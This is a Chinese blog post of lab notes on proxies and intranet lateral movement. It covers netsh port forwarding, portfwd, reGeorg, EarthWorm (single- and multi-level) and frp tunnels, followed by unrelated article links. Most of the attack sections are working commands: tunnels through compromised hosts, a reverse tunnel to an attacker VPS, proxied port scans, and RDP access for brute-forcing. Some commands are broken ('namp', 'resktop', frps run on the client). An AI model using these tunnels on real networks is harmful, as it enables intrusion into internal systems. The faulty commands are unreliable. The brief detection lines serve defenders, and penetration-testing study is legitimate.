8月9日笔记

news2025/1/11 4:02:11

8月9日笔记

什么是代理?

“代理”通常指的是“网络代理”,它是一种特殊的网络服务,允许一个网络终端(一般为客户端)通过这个服务与另一个网络终端(一般为服务器)进行非直接的连接。代理服务器作为中间人,接收来自客户端的请求,并将这些请求转发给目标服务器,然后再将从目标服务器接收到的响应返回给客户端。

在这里插入图片描述

这是没有代理时的请求与响应。

在这里插入图片描述

有代理时的请求与响应。

正向代理

正向代理时,由客户端发送对某一个目标服务器的请求,发送到代理服务器,代理服务器在中间将请求转发给该目标服务器,目标服务器将结果返回给代理服务器,代理服务器再将结果返回给客户端。

客户端发送的所有请求都先经过代理服务器,然后由代理服务器转发给目标服务器。使用正向代理时,客户端是需要配置代理服务的地址、端口、账号密码(如有)等才可使用的。比如翻墙等等。

在这里插入图片描述
通过使用代理服务器,客户端的真实IP地址可以被隐藏,从而实现一定程度的匿名访问。

反向代理

反向代理是一种特殊的网络代理服务,它位于一组后端服务器前面,接收客户端的请求并将这些请求转发给后端服务器之一。客户端并不直接与后端服务器通信,而是通过反向代理服务器间接访问。这种配置主要用于负载均衡、缓存、安全性增强以及简化管理等多种目的。通过反向代理,可以将客户端的请求分发到多个后端服务器以平衡负载,存储常用的静态内容以减少对后端服务器的请求次数,隐藏真实服务器的IP地址以增加安全性。

在这里插入图片描述

正向代理和反向代理的区别

最核心的不同在于代理的对象不同

正向代理是代理客户端

反向代理是代理服务器。

而根据这核心的区别,可以知道:代理哪端便可以隐藏哪端(也就是说:正向代理隐藏真实客户端,反向代理隐藏真实服务端)。

内网代理常见的工具

某些情况下,为保护内网安全以及优化网站负载服务端也会使用代理程序代理大量来自客户端的网络请求,反向代理主要面向服务端服务,客户端的请求会直接发给代理服务器,代理服务器会转发至服务端并将服务端响应返回值客户端。故而反向代理的过程中,客户端无法确定真实服务端地址,仅与代理端进行通信。攻击者在成功入侵某一台对外服务器后也会利用以上代理原理进行内网横向渗透进一步扩大战果,上传代理工具至对外服务器将其改造为跳板机,建立通往内网的通信隧道

netsh端口转发

netsh是windows系统自带命令行程序,攻击者无需上传第三方工具即可利用netsh程序可进行端口转发操作,可将内网中其他服务器的端口转发至本地访问,如内网某台服务器的ssh端口可转发至本地即可通过暴力破解或弱口令方式尝试登陆目标服务器。

靶机A是web服务器,靶机B在内网中。攻击者获取到靶机A的服务器权限,靶机B位于内网且未映射至互联网,此时通过利用靶机A自带命令行程序netsh,netsh可将攻击者的流量经由靶机A转发至靶机B,使得攻击者可以访问到位于内网的靶机B。

设置端口转发规则命令:

netsh interface portproxy add v4tov4
  listenaddress=<靶机A IP地址>
  listenport=<靶机A端口>
  connectaddress=<靶机B IP地址>
  connectport=<靶机B 端口>
  protocol={tcp|udp}

这样攻击者只要使用靶机A的端口就可以访问靶机B的端口。

删除端口转发策略命令

netsh interface portproxy delete v4tov4
2  listenaddress=<靶机A IP地址>
3  listenport=<靶机A 端口>
4  protocol={tcp|udp}

使用以下命令可以确认主机是否被恶意植入了端口转发策略(反制)

netsh interface portproxy show v4tov4

portfwd端口转发

portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4以及IPV6的端口转发。攻击者在获取对外服务器权限后为扩大战果,会上传端口转发工具至对外服务器,获得更多的可攻击面。例如将失陷主机的任意可访问端口转发至内网某台服务器的远程桌面端口,即可通过暴力破解和弱口令的方式尝试登陆内网服务器。实际环境下攻击者利用靶机的漏洞上传改工具。

portfwd分为两种:tcpfwd和udpfwd

用法:

用tcp连接将本地端口 1022 映射到 192.168.5.138:3389
---------------------------
tcpfwd 0.0.0.0:1022 192.168.1.77:22     # allow access from all hosts
tcpfwd 127.0.0.1:1022 192.168.1.77:22   # only allow localhost
tcpfwd [::]:1022 192.168.1.77:22        # allow access to port 1022 via both IPv4 and IPv6
-----------------------------------
用udp连接将本地端口 53 映射到 192.168.5.138:3389
-------------------------
udpfwd 0.0.0.0:53 8.8.8.8:53
udpfwd [::]:53 8.8.8.8:53

通过如下命令可以确定进程的可执行文件所在位置,并进行清除。(反制)

ls -al /proc/pid

在靶机B上运行如下命令可以看到靶机A与自身的远程桌面3389端口建立了tcp连接。(反制)

netstat -ano

regeorg正向代理

ReGeorg 是一个用于内网穿透的工具,它能够帮助用户在受到防火墙或网络限制的情况下建立到目标网络的连接。ReGeorg 主要通过使用 HTTP 协议作为传输层来实现这一目的,因此可以在大多数网络环境下工作,即使是在那些禁止了其他协议(如 SSH 或 Telnet)的网络中。

攻击机:kali 192.168.5.15

靶机A(web服务器):192.168.5.114

靶机B:192.168.5.124

ReGeorg 通常通过 Python 脚本来实现。要使用 ReGeorg,靶机A需要具备 Python 环境,并安装必要的依赖包。安装过程通常包括克隆项目仓库并安装所需的 Python 库。

在攻击机上执行如下命令下载regeorg代理工具包

git clone https://github.com/sensepost/reGeorg.git

在攻击机上运行socks代理脚本

python reGeorgSocksProxy.py -u http://192.168.5.114:8080/reGeorg-master/tunnel.jsp -p 1088
-u: 指定 HTTP 代理服务器的 URL 地址,该 URL 地址指向了一个包含 ReGeorg 代理脚本的 Web 服务器。
-p: 指定本地监听的端口,客户端可以通过这个端口连接到 SOCKS 代理。

提示georg says, ‘all seems fine’说明连接成功,已完成端口复用。

在攻击机上配置本地全局代理proxychains,使得本地攻击流量可通过regeorg创建的http隧道转发至内网其他服务器。攻击机自带proxychains全局代理工具,默认路径为/etc/proxychains4.conf,编辑配置文件在文件最后增加如下配置:Socks5 127.0.0.1 1088

以上配置使得攻击机可将支持socks5协议的攻击流量通过本地1088端口转发至靶机A,再通过靶机A转发至内网其他服务器。

通过靶机A转发到靶机B的命令:(在攻击机上运行)

proxychains telnet 192.168.5.124 445

查看靶机A上的网络连接,可以看到攻击机的请求成功实现端口复用,复用了java进程创建的端口连接了靶机B的445端口。查看靶机B的网络连接无法看到攻击机ip地址,靶机A作为攻击机的正向代理

使用端口扫描工具对靶机B进行端口扫描:

proxychains4 namp -sV -Pn 192.168.5.124

此时在靶机B上看到的所有端口扫描请求源地址均来自靶机A而不是攻击机。

earthworm反向代理

Earthworm(有时拼写为 Arthworm)是一套便携式的网络穿透工具,它提供了 socks 代理和端口转发两大核心功能,支持正向代理、反向代理、多级代理等多种方式来打通网络隧道。Earthworm 能够在复杂网络环境下完成网络穿透和内网横向渗透的任务。

利用earthworm反向代理进行内网横向渗透

靶机A: 192.168.5.10

靶机B: 192.168.5.12

攻击机: 192.168.5.2

工具攻击机下载:

git clone https://github.com/idlefire/ew.git
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
#在攻击机本地开启1080和8888监听端口,并将1080端口收到的流量转发至8888端口。 

使用命令netstat -antlp 可以看到攻击机本地开启了1080和8888监听端口。

#在靶机A上上传earthworm,并运行如下命令连接攻击机的8888端口,建立与攻击机的反向代理。
./ew -s rssocks -d vpsip -e 8888

在攻击机上修改全局代理软件proxychains的配置文件,默认路径为/etc/proxychains4.conf。编辑配置文件在文件最后增加如下配置:Socks5 127.0.0.1 1080

实际环境下攻击机地址一般为公网vps地址,若为公网vps地址,此时全局代理配置ip应设置为vps地址。

在攻击机上使用如下命令通过代理隧道探测靶机B的3389端口是否开启,telnet使用的是tcp协议,而socks5协议支持tcp和udp协议数据的传递。

proxychains telnet 192.168.5.12 3389

在靶机B上只能看到靶机A的地址与自身3389端口建立了连接,无法看到攻击机地址。

此时利用全局代理以及靶机A的代理隧道,即使靶机B处于内网无法通过外网访问,也可通过此代理隧道实现远程登录靶机B,实现内网的横向移动。

使用如下命令远程登录靶机B:
proxychains4 resktop 192.168.5.12

攻击机弹出了靶机B的远程桌面端口,此时若靶机B使用了弱密码或被暴力破解成功即可实现远程登录。

使用earthworm多级代理进行内网横向渗透

靶机A: 192.168.5.10

靶机B: 192.168.5.12

靶机C: 192.168.5.16

攻击机: 192.168.5.2

某些条件下,内网某些服务器无法访问互联网,需通过级联的方式将可访问互联网的主机作为一级代理连接攻击机,二级代理连接一级代理主机即可形成通信隧道,攻击机可通过级联的方式将攻击流量转发至更深入的内网。

在攻击机上运行如下命令,可在攻击机本地开启1080和6666监听端口,并将1080端口收到的流量转发至6666端口。

./ew -s lcx_listen -l 1080 -e 6666
#在靶机B上运行如下命令,可开启9999端口的正向代理
./ew -s ssocksd -l 9999
#在靶机A上运行如下命令,同时连接攻击机的反向代理端口和靶机B的正向代理端口
./ew -s lcx_slave -d 192.168.5.2 -e 6666 -f 192.168.5.12 -g 9999

在攻击机上使用如下命令通过代理隧道探测靶机C的3389端口是否开启,telnet使用的是tcp协议,而socks5协议支持tcp和udp协议数据的传递。

proxychains telnet 192.168.5.16 3389

此时登录靶机C查看网络连接会看到telnet请求触发的tcp连接发起端为靶机B。说明攻击机发起的请求经由靶机A转发至靶机B,有经由靶机B的正向代理转发至靶机C。

proxychains4 resktop 192.168.5.16
#攻击机弹出了靶机C的远程桌面端口,此时若靶机C使用了弱密码或被暴力破解成功即可实现远程登录。

frp反向代理

frp(Fast Reverse Proxy)是一个高性能的反向代理应用,用于实现内网穿透,可以在复杂网络环境下帮助用户建立网络连接。frp 主要用于解决内网服务器无法被外部网络直接访问的问题,通过在公网服务器上部署 frp 服务器端,并在内网服务器上部署 frp 客户端,实现内外网之间的通信。

  • 服务器端 (frps):部署在公网服务器上,负责接收客户端的连接请求,并将请求转发到对应的内网服务器。
  • 客户端 (frpc):部署在内网服务器上,负责与服务器端建立连接,并将数据转发给服务器端。

但此类操作存在较大安全隐患,会将内网服务直接暴露在公网。

靶机A: 192.168.5.10

靶机B: 192.168.5.12

攻击机: 192.168.5.2

工具下载

wget https://github.com/fatedier/frp/releases/download/v0.35.1/frp_0.35.1_linux_amd64.tar.gz

首先需要修改两个配置文件:frps.ini和frpc.ini

frps.ini修改内容:

[common]
bind_addr = 0.0.0.0
bind_port = 33310
allow_ports = 33310-33410
token = 52010 #随便自己改
在攻击机(公网服务器)上启动服务端
./frps -c frps.ini 

frpc.ini修改内容:

[common]
server_addr = 192.168.5.2 #指定了 frp 服务器端的 IP 地址。
server_port = 33310	#指定了 frp 服务器端监听的端口
token = 52010

[socks_proxy]
type = tcp
plugin = socks5
remote_port = 33311	#指定了在服务器端公开的端口,客户端可以通过这个端口连接到 SOCKS5 代理。
local_port = 33311	#指定了本地监听的端口,客户端将通过这个端口与 SOCKS5 代理进行通信。
在内网靶机A(内网服务器)上反向代理客户端
./frps -c frps.ini 

在攻击机上修改全局代理软件proxychains的配置文件,默认路径为/etc/proxychains4.conf,配置socks5代理地址和端口如下:

socks5 127.0.0.1 33311
proxychains4 resktop 192.168.5.12
攻击机弹出了靶机B的远程桌面端口,此时若靶机B使用了弱密码或被暴力破解成功即可实现远程登录。

注意:这个是在本地进行测试的,在公网服务器上的话,frps.ini和frpc.ini配置跟上面不一样。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1997317.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【中项】系统集成项目管理工程师-第11章 项目范围管理-11.3定义范围

前言&#xff1a;系统集成项目管理工程师专业&#xff0c;现分享一些教材知识点。觉得文章还不错的喜欢点赞收藏的同时帮忙点点关注。 软考同样是国家人社部和工信部组织的国家级考试&#xff0c;全称为“全国计算机与软件专业技术资格&#xff08;水平&#xff09;考试”&…

PHP利用PCRE回溯次数

目录 原理 例子 来一道题&#xff08;2018i春秋圣诞欢乐赛官方WriteUp&#xff09; 利用php弱语言特性解题 利用回溯 原理 对于一串正则表达式来说它匹配了一系列的字符串后自身的正则还没有用完&#xff0c;这个时候就会触发回溯机制&#xff0c;超过回溯次数正则匹配就失…

【代码故事】VSCode知名主题material-theme仓库代码清空

大家好&#xff0c;我是前端之虎陈随易。 这是我的个人网站 https://chensuiyi.me。 出大事了 看到了一篇前端社区开源扛把子 Anthony Fu 的帖子。 经过一番了解&#xff0c;出大事了&#xff01; 知名 VSCode 主题 material-theme 仓库清空了&#xff01; 连带着所有提交…

【MySQL】1.MySQL基本操作

目录 一、MySQL数据库登陆 1、设置环境变量 2、cmd命令登陆数据库 二、基本操作语法 1、显示数据库——SHOW 2、使用/选择数据库——USE 3、删除——DROP 4、创建——CREATE 5、查看表结构——DESC 6、数据操作——增删改查 &#xff08;1&#xff09;增/插入&#…

SpringCloud-gateway编码实现路由策略的自动刷新,动态路由

文章目录 一、概述1、背景2、实现思路 二、编码实现1、nacos配置刷新公共类2、自定义RouteDefinition3、route缓存类4、动态更新路由网关service5、动态路由加载类 三、测试 一、概述 1、背景 gateway可以配置路由断言过滤器&#xff0c;但是通常一个微服务体系下&#xff0c…

KCTF 闯关游戏:1 ~ 7 关

前言 看雪CTF平台是一个专注于网络安全技术竞赛的在线平台&#xff0c;它提供了一个供网络安全爱好者和技术专家进行技术交流、学习和竞技的环境。CTF&#xff08;Capture The Flag&#xff0c;夺旗赛&#xff09;是网络安全领域内的一种流行竞赛形式&#xff0c;起源于1996年…

虚拟机Linux系统字体太小怎么办?

每次用虚拟机的Linux系统时&#xff0c;都觉得字体小得伤眼睛&#xff0c;所以就尝试找了下&#xff0c;没想到可以直接用大号字体&#xff0c;这感觉好多啦~ 这里针对centOS的图形界面&#xff0c;非常简单&#xff0c;见下面的图&#xff1a; 应用程序 --> 系统工具 --&…

ELK三个开源软件的工作原理

一、Elasticsearch Elasticsearch的工作原理主要涉及其数据处理、索引机制、查询过程以及集群管理等方面。一下是对Elasticsearch工作原理的详细解析&#xff1a; 1. 数据处理 1.1 数据导入 Elasticsearch支持多种数据源&#xff0c;包括直接输入、通过Logstash和Beats等工具…

js日期处理库--dayjs

js中处理日期是一件比较麻烦的事情&#xff0c;这里推荐使用day.js库来处理&#xff0c;文档:Day.js中文网 引入库 如果没有引入过dayjs,需要先执行npm install,然后import就能使用了 npm install dayjs import dayjs from dayjsconsole.log(dayjs().format()) 如果使用的…

leetcode日记(67)单词搜索

太坑了&#xff01;老是时间超限&#xff0c;不是时间超限就是内存超限&#xff01; 思路很简单&#xff0c;就是先遍历整个网格寻找开头&#xff0c;然后上下左右搜寻找下一个字母&#xff0c;引用递归。 最终看边答案边写出来的&#xff1a; class Solution { public:bool …

36-《茅膏菜》:自然奇境中的捕虫艺术家

茅膏菜 腺毛闪烁诱昆虫&#xff0c;粘液缠绕捕食成。 绿叶如网藏陷阱&#xff0c;茅膏菜展捕虫情。 中文名&#xff1a;茅膏菜 拉丁名&#xff1a;Drosera peltata Thunb. 别名&#xff1a;捕虫草、落地珍珠、一粒金丹、苍蝇草、珍珠草 科属&#xff1a;茅膏菜科茅膏菜属 生…

词向量,位置嵌入;归一化;自注意力层;投影;残差连接:防止梯度消失;MLP;

目录 词向量,位置嵌入 归一化 自注意力层 我们该如何处理Q、K和V向量呢 投影 残差连接:防止梯度消失 MLP 层归一化处理 GELU激活函数 MLP Weights 和MLP Projection Weights区别和联系 一、MLP Weights 二、MLP Projection Weights:输入数据或隐藏层的输出投影到…

指针(1)-学习笔记

指针&#xff08;1&#xff09;-学习笔记 1.内存1.1内存 2.指针变量和地址2.1取地址操作符&#xff08;&&#xff09;2.2指针变量和解引用操作符&#xff08;*&#xff09;2.2.1 指针变量2.2.2解引用操作符 3 指针变量类型的意义3.1指针的解引用3.2指针-整数3.3 void*指针 …

PyTorch深度学习实战(7)—— 线性回归

线性回归是机器学习的入门内容&#xff0c;应用十分广泛。线性回归利用数理统计中的回归分析来确定两种或两种以上变量间相互依赖的定量关系&#xff0c;其表达形式为$y wxbe$。其中&#xff0c;$x$和$y$是输入输出数据&#xff0c;$w$和$b$是可学习参数&#xff0c;误差$e$服…

Pod的调度机制

文章目录 一、Pod调度概述二、Pod调度策略实现方式三、kube-scheduler调度1、kube-scheduler调度的流程2、过滤阶段3、打分阶段4、kube-scheduler 调度示例4.1、创建 Deployment 资源清单4.2、应用Deployment4.3、查看被kube-scheduler自动调度的Pod 四、nodeName调度1、创建Po…

MySQL操作2——表的的操作(增删查改)

创建表; 样例&#xff1a; 注意不同的存储引擎创建出来的表在目录下的个数不同 显示此数据库下的所有表&#xff1a;show tables; show create table name \G ——查看创建表时的具体信息 查看某个表的结构&#xff1a;desc 表名&#xff1b; 查看表中储存的数据&…

阿里云与优酷联袂:Create@AI江湖创作大赛,探索AI创新边界

随着网剧《少年白马醉春风》的热播&#xff0c;许多人心中的江湖梦被唤醒&#xff0c;渴望踏入那个充满传奇色彩的影视世界&#xff0c;体验一段属于自己的江湖之旅。在 AIGC 技术日益成熟的今天&#xff0c;这一梦想变得触手可及。阿里云携手优酷&#xff0c;发起了 Create A…

Hadoop YARN:现代大数据集群资源管理与作业调度

1.Yarn的概述 1.1.解释Yarn的定义和基本概念 Hadoop YARN&#xff08;Yet Another Resource Negotiator&#xff09;是 Hadoop 2.x 版本引入的一种资源管理器&#xff0c;用于管理和调度大数据集群中的资源&#xff0c;是 Hadoop 集群的核心组件之一。YARN 的设计目标是提高 H…

浅谈C语言动态内存分配

1、什么是动态内存分配 正常情况下&#xff0c;我们创建变量&#xff0c;都是向计算机内存中申请一个静态的内存&#xff0c;也就是说&#xff0c;一旦申请成功&#xff0c;这块内存的大小便不能再改变&#xff0c;并且能申请多少内存在一定程度上都是确定的。比如说&#xff…

【网络层】路由基础

文章目录 技术背景IP 路由工作原理IP路由表 技术背景 路由是能够让整个Internet持续运转的关键。回看之前的网络历史&#xff0c;最开始用一根网线将两台设备连接起来&#xff0c;面对面就能通信。到后面出现了交换机&#xff0c;能够让区域内的所有设备互相通信&#xff0c;形…